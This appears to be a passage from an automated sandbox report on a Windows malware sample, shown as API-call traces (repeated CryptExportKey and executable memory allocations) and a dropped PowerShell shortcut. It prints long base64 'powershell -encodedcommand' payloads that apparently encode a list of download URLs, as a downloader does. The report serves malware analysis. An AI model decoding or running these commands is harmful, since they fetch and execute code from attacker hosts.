TAB3AEIAbABBAEgAQQBBAGEAUQBCAGoAQQBHAGcAQQBhAFEAQgBzAEEARQBVAEEAYwB3AEIAegBBAEcAOABBAGEAUQBCAHUAQQBHAFUAQQBjAGcAQQB1AEEARwBRAEEAYQBRAEIAbgBBAEcAawBBAGQAQQBCAGgAQQBHAHcAQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVgBBAEcANABBAFkAdwBCAHYAQQBHADAAQQBjAEEAQgAxAEEASABRAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAHUAQQBHAFUAQQBjAHcAQgB6AEEARgBNAEEAZABRAEIAaQBBAEcAYwBBAGIAQQBCAHYAQQBIAFEAQQBkAEEAQgBoAEEARwB3AEEATABnAEIAeQBBAEcAOABBACIAOwAkAHMAdwBpAG4AZQBwAGkAcABlAE4AbwBuAGkAbABsAHUAcwBpAHYAZQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAeABBAEMANABBAE0AZwBBADAAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEANQBBAEQAUQBBAHoAWQBMAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBFAEEASABVAEEAWQB3AEIAcgBBAEgAQQBBAGEAUQBCAHUAQQBFADQAQQBaAFEAQgBzAEEASABNAEEAYgB3AEIAdQBBAEMANABBAGIAZwBCADUAQQBHAE0AQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQARQBBAE4AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBADUAQQBEAEkAQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAQQBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQB5AEEARABJAEEATgBBAEEAdQBBAEQAZwBBAE8AUQBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="

      1784

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369368
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003690a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003690a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003690a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003687a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003687a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003687a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003692a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003692a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003692a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00368e68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003692a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003692a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003692a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003692a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003692a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003692a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003692a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00369168
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003688e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003688e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003688e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003688e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 1572864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02950000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1784
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73971000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025fa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1784
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73972000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02602000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a91000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02603000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02604000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02605000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02606000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a81000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a82000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a83000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a84000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a85000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a86000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a87000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a88000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a89000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a8a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a8b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a8c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a8d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a8e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a8f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05110000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05111000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05112000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05113000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05114000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -encodedcommand "JABSAG8AcwBlAHcAbwByAHQATgBvAG4AYQBzAHQAcgBvAG4AbwBtAGkAYwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE8AQQBBAHUAQQBEAEUAQQBOAFEAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHgAQQBEAEkAQQBNAFEAQQA9AHYAZABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGMAQQBjAGcAQgBsAEEARwBFAEEAYwB3AEIAcABBAEcAVQBBAGMAZwBCAFMAQQBHAFUAQQBiAEEAQgBoAEEASABRAEEAYQBRAEIAMgBBAEcARQBBAGIAQQBBAHUAQQBIAE0AQQBiAHcAQgBtAEEASABRAEEAZAB3AEIAaABBAEgASQBBAFoAUQBBAD0AIgA7ACQAUwB1AHAAZQByAHIAZQBmAGkAbgBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATQBnAEEAeABBAEQAUQBBAEwAZwBBAHkAQQBEAEkAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAeABBAEEAPQA9ACIAOwAkAE4AZQB3AHMAcgBlAGUAbABzAFIAaQBjAG8AYwBoAGUAdABlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATQBRAEEAegBBAEQAZwBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQB1AEEARABjAEEATwBBAEEAPQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAE4AQQBBAHUAQQBEAGsAQQBPAEEAQQB1AEEARABnAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBADUAQQBBAD0APQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUASQBBAFkAUQBCAHoAQQBHAGsAQQBjAEEAQgB2AEEARwBRAEEAYQBRAEIAMABBAEcAawBBAFkAdwBCAFEAQQBHAGcAQQBiAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEcARQBBAFkAdwBCAGwAQQBHAEUAQQBaAFEAQQB1AEEARwBrAEEAYgBRAEIAdABBAEcAOABBAFkAZwBCAHAAQQBHAHcAQQBhAFEAQgBsAEEARwA0AEEATABCAGsAWgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABFAEEATgBBAEEAMwBBAEMANABBAE0AUQBBAHoAQQBEAEUAQQBMAGcAQQB5AEEARABBAEEATwBBAEEAPQAiADsAJABvAHIAZABpAG4AYQByAGkAYQB0AGUATwB1AHQAdABoAHIAdQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBNAFEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBOAHcAQQB5AEEAQwA4AEEAWgB3AEIAUwBBAEMAOABBAGEAQQBCADMAQQBHADQAQQBWAFEAQQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFUAQQBPAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAFUAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdgBBAEYAYwBBAE0AUQBBAHYAQQBHAFUAQQBhAEEAQgBtAEEAQQA9AD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAaABBAEgAUQBBAGIAUQBCAHYAQQBIAE0AQQBkAEEAQgBsAEEARwBFAEEAVQB3AEIAMQBBAEgAQQBBAFoAUQBCAHkAQQBIAFEAQQBaAFEAQgB5AEEASABJAEEAWQBRAEIAdQBBAEcAVQBBAFkAUQBCAHUAQQBDADQAQQBiAEEAQgBwAEEARwBjAEEAYQBBAEIAMABBAEcAawBBAGIAZwBCAG4AQQBDADgAQQBjAHcAQQB2AEEARgBNAEEATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAG0AQQBHAEkAQQBiAFEAQgBUAEEARQBFAEEAVABnAEEAMwBBAEEAPQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBNAGcAQQB1AEEARABJAEEATgBRAEEAeQBBAEMANABBAE0AUQBBADMAQQBEAFUAQQBMAGcAQQB5AEEARABFAEEATwBRAEEAdgBBAEcANABBAGQAdwBBADAAQQBFAHcAQQBkAEEAQQB2AEEASABZAEEAVwBBAEEAMgBBAEUAMABBAE4AZwBBAD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQw